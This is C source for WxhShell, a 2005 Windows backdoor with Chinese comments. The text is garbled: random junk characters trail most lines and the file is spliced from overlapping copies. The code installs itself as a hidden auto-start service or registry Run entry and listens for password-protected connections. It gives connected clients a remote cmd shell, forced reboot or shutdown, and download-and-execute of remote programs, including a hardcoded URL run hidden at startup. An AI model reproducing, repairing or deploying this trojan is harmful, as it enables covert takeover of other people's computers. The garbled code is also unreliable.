    if(Boot(SHUTDOWN)) M}e}3w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *#9?9SYSk  
    else { #y-R*4G  
    closesocket(wsh); "H#pN;)+   
    ExitThread(0); +rJDDIb  
    } 4sq](! A  
    break; Ae\:{[c_D  
    } 2<9&OL  
  // 获取shell GkpYf~\Q  
  case 's': { a<J< Oc!  
    CmdShell(wsh); UD=[::##  
    closesocket(wsh); :T{VCw:*  
    ExitThread(0); S!rVq,| d  
    break; iJH?Z,Tjf  
  } EU7nS3K)O~  
  // 退出 w3;{z ,,T  
  case 'x': { G.r .Z0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w75Ro6y  
    CloseIt(wsh); x_t$*  
    break; 9k \M<jA  
    } =ld!=II  
  // 离开 pk`5RDBu  
  case 'q': { g/(BV7V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x2TE[#><  
    closesocket(wsh); AZf69z  
    WSACleanup(); h^v#?3.@  
    exit(1); 3?D{iMRM  
    break; K4 -_a{)/  
        } Apj[z2nr  
  } *pDS%,$xe  
  } Tq SjL{l%  
^q`RaX)  
  // 提示信息 l[i1,4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .K1wp G[4  
} &*bpEdkZ  
  } U_hzSf  
(&u'S+  
  return; }u8g7Nj  
} OsW*@v(  
:;c`qO4  
// shell模块句柄 | #b/EA9  
int CmdShell(SOCKET sock) q&}+O  
{ VoQhzp6&  
STARTUPINFO si; EG|_YW7  
ZeroMemory(&si,sizeof(si)); 8)2M%R\THn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Ql2+ev6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f]mVM(XZN  
PROCESS_INFORMATION ProcessInfo; _0ZU I^#  
char cmdline[]="cmd"; 8Q"1I7U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e+<|  
  return 0; 6$kh5$[  
} jtq ^((Ux  
J qmL|S)  
// 自身启动模式 wCV~9JTJ!  
int StartFromService(void) 7G7"Zule*j  
{ :`lP+y?a1  
typedef struct Z$r7Hi  
{ :6Tv4ZUvcG  
  DWORD ExitStatus; eKLE^`2*@  
  DWORD PebBaseAddress; h(GSM'v  
  DWORD AffinityMask; OT$++cj^  
  DWORD BasePriority; mg>wv[ 7  
  ULONG UniqueProcessId; g_! xD;0  
  ULONG InheritedFromUniqueProcessId; Gd'_X D  
}   PROCESS_BASIC_INFORMATION; lA;qFXaN>  
=6f)sZpPh  
PROCNTQSIP NtQueryInformationProcess; | +uc;[`  
B9Wd '  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VS!v7-_N5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \zwm:@lG  
HuK Ob4g  
  HANDLE             hProcess; `Q/\w1-Q  
  PROCESS_BASIC_INFORMATION pbi; 3xKgj5M  
F~hH>BH9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'NCx<0*  
  if(NULL == hInst ) return 0; Eau V  
hy@b/Y![M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1C]BaPbL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }f% Qk0^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H0yM`7[y  
d0f(Uk  
  if (!NtQueryInformationProcess) return 0; rx@i .+  
Sfp-ns32%A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vS[\ j  
  if(!hProcess) return 0; 4Ssy (gt  
!&`\MD>;~R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2- (}=N  
( z F_<  
  CloseHandle(hProcess); &3x da1H  
rW_cLdh]#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {*r!oD!'  
if(hProcess==NULL) return 0; ='C;^ Bk  
^gNbcWc7CU  
HMODULE hMod; =<zlg~i  
char procName[255]; ,S@B[+VZ  
unsigned long cbNeeded; V?`|Ha}  
zy8+~\a+Y&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SJ:Teab  
vq-;wdq?2  
  CloseHandle(hProcess); \5=4!Ez  
gw%L M7yQR  
if(strstr(procName,"services")) return 1; // 以服务启动 *P5/S8c  
{a9.0N:4  
  return 0; // 注册表启动 ~ahu{A4Bw  
} CyB4apJ  
"A5z!6T{  
// 主模块 L'"c;FF02i  
int StartWxhshell(LPSTR lpCmdLine) x&m(h1h  
{ $(08!U  
  SOCKET wsl; mv`b3 $  
BOOL val=TRUE; nPl,qcyY  
  int port=0; ?P#\ CW  
  struct sockaddr_in door; %|f@WxNrU  
jHA(mU)b  
  if(wscfg.ws_autoins) Install(); HqV4!o9'  
olXfR-2>1  
port=atoi(lpCmdLine); |  >yc|W  
9}42s+  
if(port<=0) port=wscfg.ws_port; J~ +p7S  
fD8GAav  
  WSADATA data; g2rH"3sC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :O?3lj)  
6Bexwf<u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \yLFV9P}EL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7uF @Xh  
  door.sin_family = AF_INET; w !<-e>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); knb0_nA  
  door.sin_port = htons(port); 9(_n8br1  
9#~jlq(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y`6<:8[?  
closesocket(wsl); v |(N  
return 1; osLEH?iKW  
} qF`]}7"^  
i~M-V=Zg  
  if(listen(wsl,2) == INVALID_SOCKET) { <'A-9y]-v  
closesocket(wsl); +Mn(s36f2  
return 1; D`.\c#;cN  
} qw)Ou]L=  
  Wxhshell(wsl); $"}*#<Z  
  WSACleanup(); IF<T{/MA  
|%3>i"Y@AK  
return 0; 4$ah~E>,t  
LfCgvq6/pO  
} &g0r#K  
R mo'3  
// 以NT服务方式启动 4<5*HpW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Eq=JmO'gHs  
{ p!<PRms@  
DWORD   status = 0; q6%m .X7  
  DWORD   specificError = 0xfffffff; |Vu`-L'Jz  
_. EM])b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RmO kb~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nf:wJ-;*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kK0zb{  
  serviceStatus.dwWin32ExitCode     = 0; oL!C(\ERh  
  serviceStatus.dwServiceSpecificExitCode = 0; 9J<vkxG9`  
  serviceStatus.dwCheckPoint       = 0; W*n|T{n  
  serviceStatus.dwWaitHint       = 0; 1$:O9 {F  
_=cuOo"!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qS ggZ0*  
  if (hServiceStatusHandle==0) return; #H5 +8W  
.hoVy*I  
status = GetLastError(); o0dD  
  if (status!=NO_ERROR) 4CS$%Cu\?w  
{ a'*~E ?b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wARd^Iw  
    serviceStatus.dwCheckPoint       = 0; X2P8Zq=%a  
    serviceStatus.dwWaitHint       = 0; fN9uSnu  
    serviceStatus.dwWin32ExitCode     = status; &k`lb kq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'I>geW?{QK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ws U@hqS  
    return; [8 23w.{]#  
  } 64^3ve3/a=  
SWT)M1O2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bJ eF1LjS  
  serviceStatus.dwCheckPoint       = 0; KsqS{VVCh  
  serviceStatus.dwWaitHint       = 0; &7{yk$]*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rf!i?vAe  
} wX <ov0?[  
@Q!Tvw/  
// 处理NT服务事件,比如:启动、停止 qmNG|U&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ="AaC!E,W  
{ N~?(<DyZR  
switch(fdwControl) OhM_{]*  
{ tvUCd}  
case SERVICE_CONTROL_STOP: vJX0c\e  
  serviceStatus.dwWin32ExitCode = 0; e YiqTWn:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w(*},  
  serviceStatus.dwCheckPoint   = 0; T]\'D&P~D  
  serviceStatus.dwWaitHint     = 0; YjPj#57+  
  { ]L3MIaO2T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Z>Mnw"R  
  } \#C]|\  
  return; i7&ay\+@  
case SERVICE_CONTROL_PAUSE: DJ1!Xuu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /7ykmW  
  break; z.tN<P7  
case SERVICE_CONTROL_CONTINUE: ke2M&TV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C[><m2T  
  break; F8\JL %  
case SERVICE_CONTROL_INTERROGATE: V~$?]Z%_  
  break; UI~hB4V$]  
}; 0])[\O`j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8}Q 2!,9Q  
} bH%d*  
{.Brh"yC  
// 标准应用程序主函数 I:;umyRH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ? 0:=+%.  
{ L3s"L.G  
d9l2mJzW  
// 获取操作系统版本 bu=RU  
OsIsNt=GetOsVer(); D&DbxTi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `1lGAKv  
uu/2C \n}  
  // 从命令行安装 n-OQCz9Xl  
  if(strpbrk(lpCmdLine,"iI")) Install(); #K/95!)  
f7;<jj;w7  
  // 下载执行文件 .F/s (  
if(wscfg.ws_downexe) { %kP=VUXj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F><ficT  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]UGk"s5A  
} h1$75E?,  
h" f_T [  
if(!OsIsNt) { 7s Gf_`Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 P]2V~I/X  
HideProc(); &#!1 Y[e^  
StartWxhshell(lpCmdLine); a/[)A _-  
} l;B  
else `(E$-m-~jH  
  if(StartFromService()) bzECNi5^  
  // 以服务方式启动 =}Yz[-I  
  StartServiceCtrlDispatcher(DispatchTable); O<MO2U+^x  
else Y<_;8%S  
  // 普通方式启动 zu 7Fq]zD  
  StartWxhshell(lpCmdLine); k[y^7, r  
!&5*H06  
return 0; | 3`8$-  
} T`GiM%R;g  
.X:,]of  
hUEA)c  
yA';~V\V{>  
=========================================== wR"17z7[]  
|<MSV KW  
F!-%v5.y  
Q07&7SH_  
FB %-$  
FbXur-et^  
" %8xKBL]J  
dk0} q6~  
#include <stdio.h> {vQ:4O!:  
#include <string.h> BKYyc6iE  
#include <windows.h> fm!\**Q1  
#include <winsock2.h> |OuIQhoE  
#include <winsvc.h> _ER. AKY  
#include <urlmon.h> `A-  
vhDtjf/*  
#pragma comment (lib, "Ws2_32.lib") M(n@ytz  
#pragma comment (lib, "urlmon.lib") MSB/O.  
p =-~qBw  
#define MAX_USER   100 // 最大客户端连接数 IsDwa qd|  
#define BUF_SOCK   200 // sock buffer ]<S{3F=  
#define KEY_BUFF   255 // 输入 buffer b.RFvq5Z  
yI^7sf7k  
#define REBOOT     0   // 重启 R*2F)e\|  
#define SHUTDOWN   1   // 关机 .Ad9(s  
-lR7 @S  
#define DEF_PORT   5000 // 监听端口 *Rxn3tR7  
Rr}m(e=  
#define REG_LEN     16   // 注册表键长度 gMp' S  
#define SVC_LEN     80   // NT服务名长度 oN`khS]_v0  
`$q0fTz  
// 从dll定义API qqys`.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9_ZGb"(Lj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ _?d?:#RD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T1'\!6_5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5=R]1YI~$  
Zay%QNsb  
// wxhshell配置信息 $EzWUt  
struct WSCFG { {d.K)8\  
  int ws_port;         // 监听端口 9!.S9[[N  
  char ws_passstr[REG_LEN]; // 口令  ;v/un  
  int ws_autoins;       // 安装标记, 1=yes 0=no !OMCsUZ  
  char ws_regname[REG_LEN]; // 注册表键名 u'T-}95 V  
  char ws_svcname[REG_LEN]; // 服务名 ?Cx=!k.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M+b?qw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 D{%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G,<l}(tEG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z*-a=u%gl'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S)/548=`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jmcys _N3  
_]{LjJ!M  
}; z;_vl  
nzbAQ3v  
// default Wxhshell configuration $VhY"<  
struct WSCFG wscfg={DEF_PORT, &9"Y:),  
    "xuhuanlingzhe", f>|<5zm#<  
    1, _ {6l}  
    "Wxhshell", LF#[$ so{i  
    "Wxhshell", B#cN'1c  
            "WxhShell Service", N(2M  w:}  
    "Wrsky Windows CmdShell Service", ~O]{m,)n  
    "Please Input Your Password: ", mkrVeBp  
  1, 7 p1B"%  
  "http://www.wrsky.com/wxhshell.exe", z7+>G/o  
  "Wxhshell.exe" 4YR{ *  
    }; N Hn #c3o  
_dmG#_1  
// 消息定义模块 96P&+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NEvNj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MSRk|0Mcr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i0zrXaKV  
char *msg_ws_ext="\n\rExit."; tU *`X(;  
char *msg_ws_end="\n\rQuit."; b=U3&CV9  
char *msg_ws_boot="\n\rReboot..."; .2s^8gO  
char *msg_ws_poff="\n\rShutdown..."; *2rc Y  
char *msg_ws_down="\n\rSave to "; tGzp= PyA  
hljKBx ~  
char *msg_ws_err="\n\rErr!"; _O ;4>  
char *msg_ws_ok="\n\rOK!"; CGkx_E]  
v`]y:Ku|wR  
char ExeFile[MAX_PATH]; >Bu9D  
int nUser = 0; \9uK^oS  
HANDLE handles[MAX_USER]; \Hf/8!q  
int OsIsNt; gXM+N(M-  
xA`j:zn'j  
SERVICE_STATUS       serviceStatus; F^`+.G\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nwe-7/Q  
?%Ww3cU+J  
// 函数声明 *M_^I)*L  
int Install(void); <q>d@Foi  
int Uninstall(void); )[|_q,  
int DownloadFile(char *sURL, SOCKET wsh); (E,Ibz2G:e  
int Boot(int flag); 7upWM~H^  
void HideProc(void); yz5! >|EB  
int GetOsVer(void); : @eHV=|+>  
int Wxhshell(SOCKET wsl); q ]VB}nO  
void TalkWithClient(void *cs); 5G$ ,2i(  
int CmdShell(SOCKET sock); Y*\N{6$2  
int StartFromService(void); y.6/x?Qc  
int StartWxhshell(LPSTR lpCmdLine); Z0<s -eN:  
w=a$]`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .U44p*I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S#r|?GYua  
x 4sIZe+  
// 数据结构和表定义 0L1sF'ZN  
SERVICE_TABLE_ENTRY DispatchTable[] = +l.LwA  
{ 1N:~5S}s>  
{wscfg.ws_svcname, NTServiceMain}, 29VX-45  
{NULL, NULL} (|rf>=B+H  
}; /oLY\>pD  
[HUK 9hG  
// 自我安装 %u_dxpx  
int Install(void) kytHOn#  
{ C'R6mz%Q?  
  char svExeFile[MAX_PATH]; k7;i^$@c  
  HKEY key; bN03}&I  
  strcpy(svExeFile,ExeFile); >(wQx05^D  
I|qhj*_C  
// 如果是win9x系统,修改注册表设为自启动 z Tz_"N I  
if(!OsIsNt) { }/,Rp/+7]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~P"Agpx3u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RA;/ ?l  
  RegCloseKey(key); -sZb+2tDa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Li"+`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EWgJ"WTF  
  RegCloseKey(key); A~lc`m-  
  return 0; E*wG5] at  
    } #z<# oC5  
  } \nPf\6;M  
} "Dc\w@`E 0  
else { Cl-P6NlR".  
OP"_I!t  
// 如果是NT以上系统,安装为系统服务 )fxn bBz{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >cg)Nq D  
if (schSCManager!=0) WSN^iDS  
{ 0NKgtH~+  
  SC_HANDLE schService = CreateService sR[!6[AA  
  ( x[&<e<6  
  schSCManager, iyd$_CJz  
  wscfg.ws_svcname, N)AlQ'Lwx  
  wscfg.ws_svcdisp, VZ =:`)  
  SERVICE_ALL_ACCESS, 1q3"qY H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ey,f igjd.  
  SERVICE_AUTO_START, XWQ `]m)  
  SERVICE_ERROR_NORMAL, tHHJ|4C  
  svExeFile, @"1Z;.S8V  
  NULL, .4tu{\YX  
  NULL, ('UTjV  
  NULL, 0t}v@-abU  
  NULL, t[|t0y8  
  NULL <hiv8/)?  
  ); ViMl{3  
  if (schService!=0) aq8./^  
  { UnP<`z#  
  CloseServiceHandle(schService); }+G5i_a  
  CloseServiceHandle(schSCManager); UcOP 0_/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %7P]:G+Y\  
  strcat(svExeFile,wscfg.ws_svcname); >u(^v@Ejf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J:gC1g^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $I>]61l%  
  RegCloseKey(key); $/tj<++W  
  return 0; eq(h {*rC  
    } 9H/R@i[E  
  } v}a {nU'  
  CloseServiceHandle(schSCManager); ~:o$}`mW  
} kGo2R]Dd[  
} _$5DK%M}  
w,vnpdT  
return 1; I`rN+c:  
} \Cj3jg  
)lJAMZ 5xp  
// 自我卸载 VjNr<~|d  
int Uninstall(void) Z"_8 l3  
{ }r,xx{.u7  
  HKEY key; 2[uFAgf@  
1'Q6l  
if(!OsIsNt) { Rvx 7}ZL!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( $2M"n  
  RegDeleteValue(key,wscfg.ws_regname); 1iLo$  
  RegCloseKey(key); 2IRARZ,3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?[m1?  
  RegDeleteValue(key,wscfg.ws_regname); f\_PNZCc  
  RegCloseKey(key); qlYi:uygY  
  return 0; {FKr^)g  
  } .m l\z5  
} KsE$^`  
} ?kQY ^pU  
else { v @0G^z|  
gh\u@#$8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o:W*#dt  
if (schSCManager!=0) Qg~w 3~  
{ e98QT9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y6H?ZOq  
  if (schService!=0) ,>7dIJqzw  
  { 9T5 F0?qd  
  if(DeleteService(schService)!=0) { ~ZSX84~@u  
  CloseServiceHandle(schService); LQ4:SV'3  
  CloseServiceHandle(schSCManager); ZvT,HJ0?  
  return 0; ![\P/1p  
  } OG?7( UJ  
  CloseServiceHandle(schService); +h+ 7Q'k  
  } tP*Kt'4W  
  CloseServiceHandle(schSCManager); 8>#ZU]cG  
} 0#eb] c   
} OUF%DMl4  
?HZ^V  
return 1; Ys}^ hy  
} WPNw")t!  
SJa>!]U'xI  
// 从指定url下载文件 Z'y&11  
int DownloadFile(char *sURL, SOCKET wsh) r(uo-/7z  
{ oxN5:)  
  HRESULT hr; EFh^C.S8  
char seps[]= "/"; XX%K_p`&Z  
char *token; u*P@Nuy6  
char *file; OObAn^bt  
char myURL[MAX_PATH]; gjN'D!'E1D  
char myFILE[MAX_PATH]; ^@RvCJ+  
g =Xy{Vm  
strcpy(myURL,sURL); UCfouQCj  
  token=strtok(myURL,seps); W}TP(~x'N  
  while(token!=NULL) ,3T"fT-(  
  { Uoe;=P@  
    file=token; P658 XKE  
  token=strtok(NULL,seps); {R(CGrI  
  } {cOx0=  
7`t"fS  
GetCurrentDirectory(MAX_PATH,myFILE); 0Atha>w^o~  
strcat(myFILE, "\\"); gggD "alDx  
strcat(myFILE, file); `14@dk  
  send(wsh,myFILE,strlen(myFILE),0); }BI6dZ~2A  
send(wsh,"...",3,0); y,|2hrj/0E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s9CmR]C  
  if(hr==S_OK) CZ u=/8?  
return 0; BQ Vro;#Jc  
else l`N#~<.  
return 1; %\sE\]K  
YCltS!k  
} d[,Rgdd@I  
G>0d^bx;E  
// 系统电源模块 \|QB;7u  
int Boot(int flag)  d9k`  
{ v9Ii8{ca|  
  HANDLE hToken; pMHl<HH  
  TOKEN_PRIVILEGES tkp; tB~#;:g  
,m?V3xvq  
  if(OsIsNt) { s.Z{mnD6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xCXsyZ2h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tyW}=xs  
    tkp.PrivilegeCount = 1; uuwJ-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c( U,FUS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !"qT2<A  
if(flag==REBOOT) { 7AT8QC`u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }#ta3 x  
  return 0; IS(F_< .  
} QR"+fzOL  
else { 9G SpDc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3\j`g  
  return 0; 4Xa] yA =  
} :FS5BT$=  
  } b7\>=  
  else { fb`x1Q  
if(flag==REBOOT) { erUK; +2g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3c6e$/  
  return 0; :23S%B~X  
} 83Rs1}*  
else { f|w;u!U(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AP,ZMpw  
  return 0; _d3Z~cH  
} 6}N`YOJ.  
} L5 `k3ap|  
6#*_d,xQT  
return 1; Mi|13[p{  
} dL% *;   
Fy<:iv0>t  
// win9x进程隐藏模块 8\P,2RSnt  
void HideProc(void) WJONk_WAc  
{ Bh=t%#y|`  
B <r0y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qsoq1u,?  
  if ( hKernel != NULL ) \ .#Y  
  { vLN KX;9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ANBuX6q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); duEXp]f!  
    FreeLibrary(hKernel); J?m/u6  
  } KMy"DVqE  
;-~E !_$  
return; v"yu7tZ3N  
} _ncBq;j{  
zCo$YP#5_  
// 获取操作系统版本 bLG7{qp  
int GetOsVer(void) _h ^.`Tz,  
{ /+%aSPQ  
  OSVERSIONINFO winfo; $}tF66d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jnOnV1I"  
  GetVersionEx(&winfo); xS12$ib ~G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lBFKfLp&  
  return 1; [06m{QJ)1  
  else E~WbV+,3  
  return 0; #2%V  
} zW#5 /*@  
fn 'n'X|  
// 客户端句柄模块 ]vf0f,F  
int Wxhshell(SOCKET wsl) ^$'z#ZN1  
{ z4BU}`;b3t  
  SOCKET wsh; MnFrQC  
  struct sockaddr_in client; 0M;El2 P$  
  DWORD myID; QnS^ G{  
\\:%++}J  
  while(nUser<MAX_USER) 5`fUR/|[  
{ zo@vuB.  
  int nSize=sizeof(client); 9FSa=<0wE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mB>0$l y  
  if(wsh==INVALID_SOCKET) return 1; PZ6R+n8  
Q`8-|(ngw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 98u@X:3  
if(handles[nUser]==0) e.MyJ:eL  
  closesocket(wsh); eC<RM Q4  
else sjLMM_'  
  nUser++; OW};i|  
  } meV Z_f/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <B|b'XVH2  
$Q#n'#c  
  return 0; rucw{) _  
} >e/>@ J*  
vd#)+  
// 关闭 socket 0/ 33Z Oc  
void CloseIt(SOCKET wsh) 8Pd9&/Y  
{ HRE?uBkjf  
closesocket(wsh); dh6kj-^;Cf  
nUser--; &AxtSIpucP  
ExitThread(0); SW}Rkr\e  
} /_J{JGp9  
rWJ5C\R  
// 客户端请求句柄 o?/H<k\5  
void TalkWithClient(void *cs) {jYVA~.|Z  
{ P^F3,'N  
EgPL+qL  
  SOCKET wsh=(SOCKET)cs; ~Sb)i f  
  char pwd[SVC_LEN]; g#74c'+  
  char cmd[KEY_BUFF]; [7 PC\  
char chr[1]; fWA# n  
int i,j; 1SS1P0Ur  
6;Z`9PGp  
  while (nUser < MAX_USER) { C;:=r:bth  
iNkN'("  
if(wscfg.ws_passstr) {  ~ e?af  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QlB9m2XB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )=gU~UV  
  //ZeroMemory(pwd,KEY_BUFF); *ilVkV"U  
      i=0; ?0dmw?i  
  while(i<SVC_LEN) { }[|9vF"g.y  
/PSXuVtu5  
  // 设置超时 L7 <30"7  
  fd_set FdRead; `-U?{U}H  
  struct timeval TimeOut; LyvR].p=5*  
  FD_ZERO(&FdRead); Xe&9| M  
  FD_SET(wsh,&FdRead); %`s#p` Ol1  
  TimeOut.tv_sec=8; tH0x|  
  TimeOut.tv_usec=0; ?QF xds  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RTd,bi*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -`Z!p  
1mtYap4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0sw;h.VY  
  pwd=chr[0]; qY%|Uo  
  if(chr[0]==0xd || chr[0]==0xa) { 4=^Ha%l  
  pwd=0; bnL!PsG$K,  
  break; 4|%Y09"lv  
  } q90RTX'CY  
  i++; DFZ0~+rh  
    } 9xJtDdy-O  
uHacu<$=  
  // 如果是非法用户,关闭 socket J?#vL\8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7wWx8  
} PhuHfw4$y,  
LFi{Q{E)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <f:(nGj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3r[F1z2B  
V[%IU'{:  
while(1) { 6`'g ${U  
yph@H!@  
  ZeroMemory(cmd,KEY_BUFF); aJ=)5%$6kc  
q0ab]g+  
      // 自动支持客户端 telnet标准   l v:GiA"X  
  j=0; 0@{bpc rc  
  while(j<KEY_BUFF) { k1g-%DB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l%Ke>9C  
  cmd[j]=chr[0]; d5LBL'/o  
  if(chr[0]==0xa || chr[0]==0xd) { 6v scu2  
  cmd[j]=0; _0u=}tc  
  break; Qh8pOUD0l}  
  } p3-~cr.LD  
  j++; "h1ek*(?<  
    } %$b}o7U"s  
D0bpD  
  // 下载文件 ]Q.S Is  
  if(strstr(cmd,"http://")) { Sru0j/|H\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *^{j!U37s  
  if(DownloadFile(cmd,wsh)) ,if~%'9j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F ]D^e{y  
  else 73!NoDxb  
